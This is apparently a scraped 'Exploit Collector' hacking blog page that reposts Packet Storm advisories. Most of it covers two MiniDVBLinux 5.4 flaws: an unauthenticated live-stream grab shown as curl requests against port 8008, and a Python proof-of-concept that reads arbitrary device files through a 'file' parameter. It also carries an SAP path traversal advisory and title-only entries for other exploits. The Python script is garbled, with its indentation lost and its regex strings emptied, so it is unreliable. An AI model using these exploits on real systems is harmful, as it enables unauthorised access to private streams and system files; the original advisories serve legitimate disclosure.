Exploit Collector
MiniDVBLinux 5.4 Unauthenticated Stream Disclosure

https://1.bp.blogspot.com/-vtYXiq7PjFk/WWlvT3pSItI/AAAAAAAAIN4/S7SZq03xxCsAAYdYEaQwiY4Z64tRJ_WvQCLcBGAs/s1600/h43.png
MiniDVBLinux versions 5.4 and below suffer from an unauthenticated live stream disclosure when /tpl/tv_action.sh is called and generates a snapshot in /var/www/images/tv.jpg through the Simple VDR Protocol (SVDRP).

SHA-256 | 7a02e7cf0734c411e5e95eff4c56fee10e23d22efe0169ff42aae7db5349ec0e

Download

MiniDVBLinux 5.4 Unauthenticated Stream Disclosure Vulnerability
Vendor: MiniDVBLinux
Product web page: https://www.minidvblinux.de
Affected version:

Summary: MiniDVBLinux(TM) Distribution (MLD). MLD offers a simple
way to convert a standard PC into a Multi Media Centre based on the
Video Disk Recorder (VDR) by Klaus Schmidinger. Features of this
Linux based Digital Video Recorder: Watch TV, Timer controlled
recordings, Time Shift, DVD and MP3 Replay, Setup and configuration
via browser, and a lot more. MLD strives to be as small as possible,
modular, simple. It supports numerous hardware platforms, like classic
desktops in 32/64bit and also various low power ARM systems.

Desc: The application suffers from an unauthenticated live stream
disclosure when /tpl/tv_action.sh is called and generates a snapshot
in /var/www/images/tv.jpg through the Simple VDR Protocol (SVDRP).

--------------------------------------------------------------------
/var/www/tpl/tv_action.sh:
--------------------------
01: #!/bin/sh
02:
03: header
04:
05: quality=60
06: svdrpsend.sh "GRAB /tmp/tv.jpg $quality $(echo "$query" | sed "s/width=\(.*\)&height=\(.*\)/\1 \2/g")"
07: mv -f /tmp/tv.jpg /var/www/images 2>/dev/null
--------------------------------------------------------------------

Tested on: MiniDVBLinux 5.4
BusyBox v1.25.1
Architecture: armhf, armhf-rpi2
GNU/Linux 4.19.127.203 (armv7l)
VideoDiskRecorder 2.4.6
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
@zeroscience
Advisory ID: ZSL-2022-5716
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2022-5716.php
24.09.2022

--
1. Generate screengrab:
- Request: curl http://ip:8008/tpl/tv_action.sh -H "Accept: */*"
- Response:
220 mld SVDRP VideoDiskRecorder 2.4.6; Mon Sep 12 00:44:10 2022; UTF-8
250 Grabbed image /tmp/tv.jpg 60
221 mld closing connection

2. View screengrab:
- Request: curl http://ip:8008/images/tv.jpg

3. Or use a browser:
- http://ip:8008/home?site=remotecontrol

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Stripe Green Downloads 2.03 Cross Site Scripting

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
MapTool 1.11.5 Cross Site Scripting

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Joomla Vik Appointments 1.7.3 Cross Site Scripting

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
MiniDVBLinux 5.4 Arbitrary File Read

https://1.bp.blogspot.com/-HfAgGXf1DOw/WWlvbMysVAI/AAAAAAAAIPI/FubFag34U7YDsw4ZG5KiakYQR-P9HSuiwCLcBGAs/s1600/h72.png
MiniDVBLinux versions 5.4 and below suffer from an arbitrary file disclosure vulnerability.

SHA-256 | 69d96731d3c498b5f426e741af91e8e43bfa7a49c2a0925103aa5d80b98b0065

Download
#!/usr/bin/env python3
#
#
# MiniDVBLinux 5.4 Arbitrary File Read Vulnerability
#
#
# Vendor: MiniDVBLinux
# Product web page: https://www.minidvblinux.de
# Affected version:
#
# Summary: MiniDVBLinux(TM) Distribution (MLD). MLD offers a simple
# way to convert a standard PC into a Multi Media Centre based on the
# Video Disk Recorder (VDR) by Klaus Schmidinger. Features of this
# Linux based Digital Video Recorder: Watch TV, Timer controlled
# recordings, Time Shift, DVD and MP3 Replay, Setup and configuration
# via browser, and a lot more. MLD strives to be as small as possible,
# modular, simple. It supports numerous hardware platforms, like classic
# desktops in 32/64bit and also various low power ARM systems.
#
# Desc: The distribution suffers from an arbitrary file disclosure
# vulnerability. Using the 'file' GET parameter attackers can disclose
# arbitrary files on the affected device and disclose sensitive and system
# information.
#
# Tested on: MiniDVBLinux 5.4
# BusyBox v1.25.1
# Architecture: armhf, armhf-rpi2
# GNU/Linux 4.19.127.203 (armv7l)
# VideoDiskRecorder 2.4.6
#
#
# Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
# @zeroscience
#
#
# Advisory ID: ZSL-2022-5719
# Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2022-5719.php
#
#
# 24.09.2022
#

import requests
import re,sys

#test case 001
#http://ip:8008/?site=about&name=MLD%20about&file=/boot/ABOUT

if len(sys.argv) < 3:
print('MiniDVBLinux 5.4 File Disclosure PoC')
print('Usage: ./mldhd_fd.py [url] [file]')
sys.exit(17)
else:
url = sys.argv[1]
fil = sys.argv[2]

req = requests.get(url+'/?site=about&name=ZSL&file='+fil)
outz = re.search('(.*?)',req.text,flags=re.S).group()
print(outz.replace('','').replace('',''))

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
SAP Manufacturing Execution Core 15.3 Path Traversal

https://2.bp.blogspot.com/-v3K-Hxbn0Es/WWlvhvX1clI/AAAAAAAAIQY/UsJ0X_N1RWgdGsUiiIhYa-pG6QWPEsSmwCLcBGAs/s1600/h91.png
SAP Manufacturing Execution Core versions 15.1 through 15.3 suffer from a path traversal vulnerability.

SHA-256 | d2c66b61de7a4021d8a7f4c40b09c163f1f708ce3aa8581767e5edaefd4cc198

Download
TITLE: 3242933 – [CVE-2022-39802] File path traversal vulnerability in SAP Manufacturing Execution

General information
Risk: CRITICAL
Versions Affected:
SAP MFG EXECUTION CORE 15.1
SAP MFG EXECUTION CORE 15.2
SAP MFG EXECUTION CORE 15.3
Vendor URL: https://sap.com
Bug: File path traversal vulnerability
Reported: September 2022
Date of Public Advisory: October 12, 2022
Reference: SAP Security Note 3242933
Author: RedRays R&D

Description
ADVISORY INFORMATION
Title: 3242933 – [CVE-2022-39802] File path traversal vulnerability in SAP Manufacturing Execution
Advisory: [RedRays-22-031]
Date published: 12.10.2022

VULNERABILITY INFORMATION
Remotely Exploitable: Yes
Locally Exploitable: No

CVSS Information
CVSS v3 Base Score: 9.9 / 10 (AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N)

VULNERABILITY DESCRIPTION
With a CVSS rating of 9.9, the vulnerability fixed in SAP Security Note #3242933 affects SAP Manufacturing Execution and is considered significant.

The URL used to inquire for this data included a file path argument that could be modified to provide unrestricted directory browsing on the remote server. The OS user running the NetWeaver process or service would be able to access the files contained in each directory. The code fix in the patch takes care of the route internally. This prevents the value from being sent in dynamically as a query string. With a CVSS score of 9.9, the effect on confidentiality, integrity, and availability may be quite substantial depending on the kind of information that is accessed during an attack.

SAP suggests a temporary fix in which sensitive data is removed from the file systems available to the OS user and the OS user’s access to unnecessary file paths is restricted.

TECHNICAL DESCRIPTION

PoC will be published in January 2023.

The signature of the vulnerability is available on the RedRays Security Platform.

ABOUT RedRays
The main goal of RedRays is to narrow the security gap in both the technical and business realms. The company offers solutions to examine and protect SAP, Oracle, and Microsoft ERP systems against cyberattacks and internal fraud.

Typically, our customers are big organizations and managed service providers whose needs include the active monitoring and management of security across extensive SAP environments worldwide.
ABOUT RedRays R&D
The company’s competence is founded on RedRays’ research section, which specializes in vulnerability research and analysis of essential corporate applications. It has received several accolades from major software companies, including SAP, Oracle, Microsoft Dynamics, and IBM.

Experts from RedRays have been asked to lecture, present, and train at major international security conferences on all continents.
Address: Casablanca, Morocco
Phone: (+32)489-16-78-85

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Backdoor.Win32.Redkod.d MVID-2022-0649 Hardcoded Credential

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Windows Kernel Registry Subkey Lists Integer Overflow

https://4.bp.blogspot.com/-xWCWgAV3Ny0/WWlvBhL9TTI/AAAAAAAAIKY/j6Iuv-WtlEAbM80hi5qIKa1OI4pChiwSgCLcBGAs/s1600/h124.png
The Windows Kernel suffers from integer overflow vulnerabilities in its registry subkey lists leading to memory corruption.

SHA-256 | 4f2712bf388769633e54ee7cdd01205295aa838cb4c905e9fab301e7f201a73e

Download
Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector

___________________________
@hacking_Attack
@Hacking_Video